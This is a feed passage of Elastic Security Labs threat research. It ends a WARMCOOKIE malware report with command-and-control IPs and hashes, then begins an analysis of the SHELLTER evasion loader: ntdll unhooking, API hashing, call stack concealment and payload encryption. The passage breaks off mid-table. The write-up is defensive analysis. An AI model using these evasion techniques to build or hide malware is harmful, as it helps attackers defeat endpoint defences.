<p>The most recent WARMCOOKIE builds we have collected contain the DLL/EXE execution functionality, with PowerShell script functionality being much less prevalent. These capabilities leverage the same function by passing different arguments for each file type. The handler creates a folder in a temporary directory, writing the file content (EXE / DLL / PS1) to a temporary file in the newly created folder. Then, it executes the temporary file directly or uses either <code>rundll32.exe</code> or <code>PowerShell.exe</code>. Below is an example of PE execution from procmon.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/revisiting-warmcookie/image1.png" alt="PE execution handler via Procmon" /></p>
<h3>String bank</h3>
<p>Another change observed was the adoption of using a list of legitimate companies for the folder paths and scheduled task names for WARMCOOKIE (referred to as a “string bank”). This is done for defense evasion purposes, <a href="https://attack.mitre.org/techniques/T1070/010/">allowing the malware</a> to relocate to more legitimate-looking directories. This approach uses a more dynamic method (a list of companies to use as folder paths, assigned at malware runtime) as opposed to hardcoding the path into a static location, as we observed with previous variants  (<code>C:\ProgramData\RtlUpd\RtlUpd.dll</code>).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/revisiting-warmcookie/image6.png" alt="WARMCOOKIE string bank" /></p>
<p>The malware uses <code>GetTickCount</code> as a seed for the <code>srand</code> function to randomly select a string from the string bank.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/revisiting-warmcookie/image4.png" alt="Function used for selecting strings from the string bank" /></p>
<p>The following depicts an example of a scheduled task showing the task name and folder location:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/revisiting-warmcookie/image7.png" alt="Scheduled task using string bank" /></p>
<p>By searching a few of these names and descriptions, our team found that this string bank is sourced from a website used to rate and find reputable IT/Software companies.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/revisiting-warmcookie/image9.png" alt="IT rating website used to populate the string bank" /></p>
<h3>Smaller changes</h3>
<p>In our last write-up, WARMCOOKIE passed a command-line parameter using <code>/p</code>  to determine if a scheduled task needs to be created; this parameter has been changed to <code>/u</code>. This appears to be a small, but additional change to break away from previous <a href="https://www.elastic.co/jp/security-labs/dipping-into-danger">reporting</a>.</p>
<p>In this new variant, WARMCOOKIE now embeds 2 separate GUID-like mutexes; these are used in combination to better control initialization and synchronization. Previous <a href="https://www.elastic.co/jp/security-labs/dipping-into-danger#mutex">versions</a> only used one mutex.</p>
<p>Another noticeable improvement in the more recent versions of WARMCOOKE is code optimization. The implementation seen below is now cleaner with less inline logic which makes the program optimized for readability, performance, and maintainability.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/revisiting-warmcookie/image8.png" alt="Code optimization comparison" /></p>
<h2>Clustering configs</h2>
<p>Since our initial publication in July 2024, WARMCOOKIE samples have included a campaign ID field. This field is used by operators as a tag or marker providing context to the operators around the infection, such as the distribution method. Below is an example of a <a href="https://www.virustotal.com/gui/file/5bca7f1942e07e8c12ecd9c802ecdb96570dfaaa1f44a6753ebb9ffda0604cb4">sample</a> with a campaign ID of <code>traffic2</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/revisiting-warmcookie/image3.png" alt="Campaign ID within WARMCOOKIE" /></p>
<p>Based on the extracted configurations of samples in the last year, we hypothesize that the embedded RC4 key can be used to distinguish between operators using WARMCOOKIE. While unproven, we observed from various samples that some patterns started to emerge based on clustering the RC4 key.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/revisiting-warmcookie/image2.png" alt="RC4 key distribution with campaign IDs" /></p>
<p>By using the RC4 key, we can see overlap in campaign themes over time, such as the build using RC4 key <code>83ddc084e21a244c</code>, which leverages keywords such as <code>bing</code>, <code>bing2</code>, <code>bing3,</code>and <code>aws</code> for campaign mapping. An interesting note, as it relates to these build artifacts, is that some builds contain different command handlers/functionality. For example, the build using the RC4 key <code>83ddc084e21a244c</code> is the only variant we have observed that has PowerShell script execution capabilities, while most recent builds contain the DLL/EXE handlers.</p>
<p>Other campaign IDs appear to use terms such as <code>lod2lod</code>, <code>capo,</code> or <code>PrivateDLL</code>. For the first time, we saw the use of embedded domains versus numeric IP addresses in WARMCOOKIE from a <a href="https://www.virustotal.com/gui/file/e0de5a2549749aca818b94472e827e697dac5796f45edd85bc0ff6ef298c5555">sample</a> in July 2025.</p>
<h2>WARMCOOKIE infrastructure overview</h2>
<p>After extracting the infrastructure from these configurations, one SSL certificate stands out. Our hypothesis is that the certificate below is possibly a default certificate used for the WARMCOOKIE back-end.</p>
<pre><code>Issuer     
    C=AU, ST=Some-State, O=Internet Widgits Pty Ltd 
Not Before     
    2023-11-25T02:46:19Z
Not After
    2024-11-24T02:46:19Z  
Fingerprint (SHA1)     
    e88727d4f95f0a366c2b3b4a742950a14eff04a4
Fingerprint (SHA256)
    8c5522c6f2ca22af8db14d404dbf5647a1eba13f2b0f73b0a06d8e304bd89cc0
</code></pre>
<p><em>Certificate details</em></p>
<p>Note the “Not After” date above shows that this certificate is expired. However, new (and reused) infrastructure continues to be initialized using this expired certificate. This is not entirely new infrastructure, but rather a reconfiguration of redirectors to breathe new life into existing infrastructure. This could indicate that the campaign owners are not concerned with the C2 being discovered.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/revisiting-warmcookie/image5.png" alt="Certificate reuse screenshot, September 2024 to September 2025" /></p>
<h3>Conclusion</h3>
<p>Elastic Security Labs continues to observe WARMCOOKIE infections and the deployment of new infrastructure for this family. Over the last year, the developer has continued to make updates and changes, suggesting it will be around for some time to come. Based on its selective usage, it continues to remain under the radar. We hope that by sharing this information, organizations will be better equipped to protect themselves from this threat.</p>
<h3>Malware and MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/001/">User Execution: Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/">Scheduled Task/Job</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/010/">Indicator Removal: Relocate Malware</a></li>
</ul>
<h2>Detecting malware</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_downloads.toml">Suspicious PowerShell Downloads</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/persistence_scheduled_task_creation_by_an_unusual_process.toml">Scheduled Task Creation by an Unusual Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_execution.toml">Suspicious PowerShell Execution via Windows Scripts</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_with_unusual_arguments.toml">RunDLL32 with Unusual Arguments</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar">Windows.Trojan.WarmCookie</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created the following YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar">Windows.Trojan.WarmCookie</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">87.120.126.32</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">storsvc-win[.]com</td>
<td align="left">domain</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">85.208.84.220</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">109.120.137.42</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">195.82.147.3</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">93.152.230.29</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">155.94.155.155</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">87.120.93.151</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">170.130.165.112</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">192.36.57.164</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">83.172.136.121</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">45.153.126.129</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">170.130.55.107</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">89.46.232.247</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">89.46.232.52</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">185.195.64.68</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">107.189.18.183</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">192.36.57.50</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">62.60.238.115</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">178.209.52.166</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">185.49.69.102</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">185.49.68.139</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">149.248.7.220</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">194.71.107.41</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">149.248.58.85</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">91.222.173.219</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">151.236.26.198</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">91.222.173.91</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">185.161.251.26</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">194.87.45.138</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">38.180.91.117</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">c7bb97341d2f0b2a8cd327e688acb65eaefc1e01c61faaeba2bc1e4e5f0e6f6e</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">9d143e0be6e08534bb84f6c478b95be26867bef2985b1fe55f45a378fc3ccf2b</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">f4d2c9470b322af29b9188a3a590cbe85bacb9cc8fcd7c2e94d82271ded3f659</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">5bca7f1942e07e8c12ecd9c802ecdb96570dfaaa1f44a6753ebb9ffda0604cb4</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">b7aec5f73d2a6bbd8cd920edb4760e2edadc98c3a45bf4fa994d47ca9cbd02f6</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">e0de5a2549749aca818b94472e827e697dac5796f45edd85bc0ff6ef298c5555</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">169c30e06f12e33c12dc92b909b7b69ce77bcbfc2aca91c5c096dc0f1938fe76</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.ibm.com/think/x-force/dissecting-castlebot-maas-operation">https://www.ibm.com/think/x-force/dissecting-castlebot-maas-operation</a></li>
<li><a href="https://www.europol.europa.eu/media-press/newsroom/news/operation-endgame-strikes-again-ransomware-kill-chain-broken-its-source">https://www.europol.europa.eu/media-press/newsroom/news/operation-endgame-strikes-again-ransomware-kill-chain-broken-its-source</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/revisiting-warmcookie/warmcookie.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Taking SHELLTER: a commercial evasion framework abused in-the-wild ]]></title>
            <link>https://www.elastic.co/jp/security-labs/taking-shellter</link>
            <guid>taking-shellter</guid>
            <pubDate>Thu, 03 Jul 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs detected the recent emergence of infostealers using an illicitly acquired version of the commercial evasion framework, SHELLTER, to deploy post-exploitation payloads.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs is observing multiple campaigns that appear to be leveraging the commercial AV/EDR evasion framework, SHELLTER, to load malware. SHELLTER is marketed to the offensive security industry for sanctioned security evaluations, enabling red team operators to more effectively deploy their C2 frameworks against contemporary anti-malware solutions.</p>
<h3>Key takeaways</h3>
<ul>
<li>Commercial evasion framework SHELLTER acquired by threat groups</li>
<li>SHELLTER has been used in multiple infostealer campaigns since April 2025, as recorded in license metadata</li>
<li>SHELLTER employs unique capabilities to evade analysis and detection</li>
<li>Elastic Security Labs releases dynamic unpacker for SHELLTER-protected binaries</li>
</ul>
<pre><code>Throughout this document we will refer to different terms with “shellter” in them. We will try to 
maintain the following style to aid readability:
  *  “Shellter Project” - the organization that develops and sells the Shellter evasion framework
  *  “Shellter Pro Plus/Elite” - the commercial names for the tools sold by the Shellter Project
  *  “SHELLTER” - the loader we have observed in malicious usage and are detailing in this report
  *  “SHELLTER-protected” - a descriptor of final payloads that the SHELLTER loader delivers
</code></pre>
<h2>SHELLTER Overview</h2>
<p>SHELLTER is a <a href="https://www.shellterproject.com/homepage/">commercial evasion framework</a> that has been assisting red teams for over a decade. It helps offensive security service providers bypass anti-virus and, more recently, EDR tools. This allows red teams to utilize their C2 frameworks without the constant development typically needed as security vendors write detection signatures for them.</p>
<pre><code>While the Shellter Project does offer a free version of the software, it has a limited feature-set, 
only 32-bit .exe support, and is generally better understood and detected by anti-malware 
products. The free version is not described in this article.
</code></pre>
<p>SHELLTER, like many other offensive security tools (OSTs), is a dual-use product. Malicious actors, once they gain access to it, can use SHELLTER to extend the lifespan of their tools. Reputable offensive security vendors, such as the Shellter Project, implement <a href="https://www.shellterproject.com/shellter-elite-acquire-upgrade-eligibility-terms/">safeguards</a> to mitigate the risk of their products being used maliciously. These measures include geographic sales limits, organizational due diligence, and End User License Agreements (EULAs). Despite these efforts, highly motivated malicious actors remain a challenge.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image39.gif" alt="" /></p>
<p>In mid-June, our research identified multiple financially motivated infostealer campaigns that have been using SHELLTER to package payloads beginning late April 2025. Evidence suggests that this is the Shellter Elite version 11.0, which was <a href="https://www.shellterproject.com/shellter-elite-v11-0-released/">released</a> on April 16, 2025.</p>
<p>SHELLTER is a complex project offering a wide array of configurable settings tailored for specific operating environments, payload delivery mechanisms, and encryption paradigms. This report focuses exclusively on features observed in identified malicious campaigns. While some features appear to be common, a comprehensive review of all available features is beyond the scope of this document.</p>
<h2>SHELLTER Loader - Technical Details</h2>
<p>The following sections describe capabilities that resemble some of the Shellter Project’s published <a href="https://www.shellterproject.com/Downloads/ShellterElite/Shellter_Elite_Exclusive_Features.pdf">Elite Exclusive Features</a>. Our assessment indicates that we are observing Shellter Elite. This conclusion is based on a review of the developer's public documentation, observation of various samples from different builds with a high degree of code similarity, and the prevalence of evasion features scarcely observed.</p>
<h3>Polymorphic Junk Code</h3>
<p>SHELLTER-protected samples commonly employ self-modifying shellcode with polymorphic obfuscation to embed themselves within legitimate programs. This combination of legitimate instructions and polymorphic code helps these files evade static detection and signatures, allowing them to remain undetected.</p>
<p>By setting a breakpoint on <code>VirtualAlloc</code> in a SHELLTER-protected <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys">RHADAMANTHYS</a> <a href="https://www.virustotal.com/gui/file/c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30/details">sample</a>, we can see the call stack of this malware sample.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image11.png" alt="Call stack of backdoored file" /></p>
<p>This type of polymorphic code confuses static disassemblers and impairs emulation efforts. These instructions show up during the unpacking stage, calling one of these pairs of Windows API functions to allocate memory for a new shellcode stub:</p>
<ul>
<li><code>GetModuleHandleA</code> / <code>GetProcAddress</code></li>
<li><code>CreateFileMappingW</code> / <code>MapViewOfFile</code></li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image44.png" alt="Junk instructions using legitimate import" /></p>
<p>The SHELLTER functionality is contained within a new, substantial function. It’s reached after additional unpacking and junk instructions in the shellcode stub. IDA Pro or Binary Ninja can successfully decompile the code at this stage.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image7.png" alt="Final unpacking instructions leading to main function" /></p>
<h3>Unhooking System Modules via File-mappings</h3>
<p>To bypass API hooking techniques from AV/EDR vendors, SHELLTER maps a fresh copy of <code>ntdll.dll</code> via <code>NtCreateSection</code> and <code>NtMapViewOfSection</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image48.png" alt="Manually mapped ntdll.dll in orange" /></p>
<p>There is also a second option for unhooking by loading a clean <code>ntll.dll</code> from the <code>KnownDLLs</code> directory via <code>NtOpenSection</code> and <code>NtMapViewOfSection</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image14.png" alt="ntdll.dll mapped via KnownDlls technique" /></p>
<h3>Payload Encryption and Compression</h3>
<p>SHELLTER encrypts its final, user-defined payloads using AES-128 CBC mode. This encryption can occur in one of two ways:</p>
<ul>
<li><strong>Embedded key/IV:</strong> A randomly generated key/IV pair is embedded directly within the SHELLTER payload.</li>
<li><strong>Server-fetched key/IV:</strong> The key/IV pair is fetched from an adversary-controlled server.</li>
</ul>
<p>For samples that utilized the embedded option, we successfully recovered the underlying payload.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image47.png" alt="AES CBC main decryption loop" /></p>
<p>The encrypted blobs are located at the end of each SHELLTER payload.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image20.png" alt="Encrypted payload" /></p>
<p>The AES key and IV can be found as constants being loaded into stack variables at very early stages of the payload as part of its initialization routine.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image29.png" alt="Embedded AES Key and IV constants" /></p>
<p>In Shellter Elite v11.0, by default, payloads are compressed using the <code>LZNT1</code> algorithm before being encrypted.</p>
<h3>DLL Preloading &amp; Call Stack Evasion</h3>
<p>The “Force Preload System Modules” feature enables preloading of essential Windows subsystem DLLs, such as <code>advapi32.dll</code>, <code>wininet.dll</code>, and <code>crypt32.dll</code>, to support the underlying payload’s operations. The three configurable options include:</p>
<ul>
<li><code>--Force-PreloadModules-Basic</code> (16 general-purpose modules)</li>
<li><code>--Force-PreloadModules-Networking</code> (5 network-specific modules)</li>
<li><code>--Force-PreloadModules-Custom</code> (up to 16 user-defined modules)</li>
</ul>
<p>These modules are being loaded through either <code>LoadLibraryExW</code> or <code>LdrLoadDll</code>. Details on API proxying through custom Vectored Exception Handlers (VEH) will be discussed in a subsequent section.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image45.png" alt="APIs for preloading DLLs" /></p>
<p>Below is an example of a list of preloaded modules in a SHELLTER-protected payload that matches the <code>--Force-PreloadModules-Basic</code> option, found in a <a href="https://www.virustotal.com/gui/file/70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1/relations">sample</a> that deploys a simple C++ loader client abusing BITS (Background Intelligent Transfer Service) for C2 – an uncommon approach <a href="https://www.elastic.co/jp/security-labs/bits-and-bytes-analyzing-bitsloth">favored by some threats</a>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image30.png" alt="DLL list for flag --Force-PreloadModules-Basic" /></p>
<p>The following example is a list that matches the <code>--Force-PreloadModules-Networking</code> option found in a sample loading <a href="https://www.virustotal.com/gui/file/da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880/details">LUMMA</a>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image27.png" alt="DLL list for flag --Force-PreloadModules-Networking" /></p>
<p>This feature (<a href="https://www.shellterproject.com/shellter-elite-pro-plus-updates/">released</a> in Shellter Pro Plus v10.x) leverages the call stack evasion capability to conceal the source of the <code>LoadLibraryExW</code> call while loading networking and cryptography-related libraries.</p>
<p>Below is an example of a <code>procmon</code> trace when loading <code>wininet.dll</code>, showing a truncated call stack:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image49.png" alt="Truncated call stack when loading wininet.dll" /></p>
<p>In the same <a href="https://www.virustotal.com/gui/file/70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1">sample</a> that has the <code>--Force-PreloadModules-Basic</code> flag enabled, we observed that the dependencies of the preloaded modules were also subject to call stack corruption. For instance, <code>urlmon.dll</code> also conceals the source of the <code>LoadLibraryExW</code> call for its dependencies <code>iertutil.dll</code>, <code>srvcli.dll</code>, and <code>netutils.dll</code>.</p>
<h3>Unlinking of AV/EDR Modules</h3>
<p>SHELLTER includes functionality to unlink decoy DLL modules that are placed inside the Process Environment Block (<a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb">PEB</a>). These decoy modules are used by some security vendors as canaries to monitor when shellcode attempts to enumerate the PEB LDR list manually. <a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data">PEB LDR</a> is a structure in Windows that contains information about a process's loaded modules.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image43.png" alt="Targeted unlinking of the decoy module" /></p>
<p>We only observed one unique module name based on its hash (different per sample), which ends up resolving to <code>kern3l32.dll</code> [sic].</p>
<h3>API Hashing Obfuscation</h3>
<p>Observed samples employ time-based seeding to obfuscate API addresses. The malware first reads the <code>SystemTime</code> value from the <code>KUSER_SHARED_DATA</code> structure at address <code>0x7FFE0014</code> to derive a dynamic XOR key.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image37.png" alt="XOR key derived from KUSER_SHARED_DATA" /></p>
<p>It then uses a seeded-ROR13 hashing algorithm on API names to resolve the function addresses at runtime.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image15.png" alt="seeded-ROR13 algorithm" /></p>
<p>Once resolved, optionally, these pointers are obfuscated by XORing them with the time-based key and applying a bitwise rotation before being stored in a lookup table. This tactic is applied throughout the binary to conceal a variety of data such as other function pointers, syscall stubs, and handles of loaded modules.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image33.png" alt="Function pointer obfuscation" /></p>
<h3>License Check and Self-disarm</h3>
<p>For each SHELLTER payload, there are three embedded <code>FILETIME</code> structures. In an example <a href="https://www.virustotal.com/gui/file/7d0c9855167e7c19a67f800892e974c4387e1004b40efb25a2a1d25a99b03a10">sample</a>, these were found to be:</p>
<ul>
<li>License expiry datetime (2026-04-17 19:17:24.055000)</li>
<li>Self-disarm datetime (2026-05-21 19:44:43.724952)</li>
<li>Infection start datetime (2025-05-21 19:44:43.724952)</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image28.png" alt="Hardcoded FILETIMEs" /></p>
<p>The license expiry check compares the current time to the license expiry datetime, setting the <code>license_valid</code> flag in the context structure. There are 28 unique call sites (likely 28 licensed features) to the license validity check, where the <code>license_valid</code> flag determines whether the main code logic is skipped, confirming that the license expiry datetime acts as a kill switch.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image34.png" alt="Expired SHELLTER license causes execution to be cut short" /></p>
<p>By default, the self-disarm date is set exactly one year after the initial infection start date. When the self-disarm flag is triggered, several cleanup routines are executed. One such routine involves unmapping the manually loaded <code>ntdll</code> module (if present) and clearing the NTAPI lookup table, which references either the manually mapped <code>ntdll</code> module or the one loaded during process initialization.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image4.png" alt="Example cleanup routine when self-disarm is triggered" /></p>
<p>While the Self-disarm and Infection start datetimes are different from sample to sample, we note that the License expiry datetime (2026-04-17 19:17:24.055000) remains constant.</p>
<p>It is possible that this time is uniquely generated for each license issued by The Shellter Project. If so, it would support the hypothesis that only a single copy of Shellter Elite has been acquired for malicious use. This value does not appear in static analysis, but shows up in the unpacked first stage.</p>
<table>
<thead>
<tr>
<th align="left">SHA256</th>
<th align="left">License Expiration</th>
<th align="left">Self-disarm</th>
<th align="left">Infection Start</th>
<th align="left">Family</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-05-27 19:57:42.971694</td>
<td align="left">2025-05-27 19:57:42.971694</td>
<td align="left">RHADAMANTHYS</td>
</tr>
<tr>
<td align="left">7d0c9855167e7c19a67f800892e974c4387e1004b40efb25a2a1d25a99b03a10</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-05-21 19:44:43.724953</td>
<td align="left">2025-05-21 19:44:43.724953</td>
<td align="left">UNKNOWN</td>
</tr>
<tr>
<td align="left">b3e93bfef12678294d9944e61d90ca4aa03b7e3dae5e909c3b2166f122a14dad</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-05-24 11:42:52.905726</td>
<td align="left">2025-05-24 11:42:52.905726</td>
<td align="left">ARECHCLIENT2</td>
</tr>
<tr>
<td align="left">da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-04-27 22:40:00.954060</td>
<td align="left">2025-04-27 22:40:00.954060</td>
<td align="left">LUMMA</td>
</tr>
<tr>
<td align="left">70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1</td>
<td align="left">2026-04-17 19:17:24.055000</td>
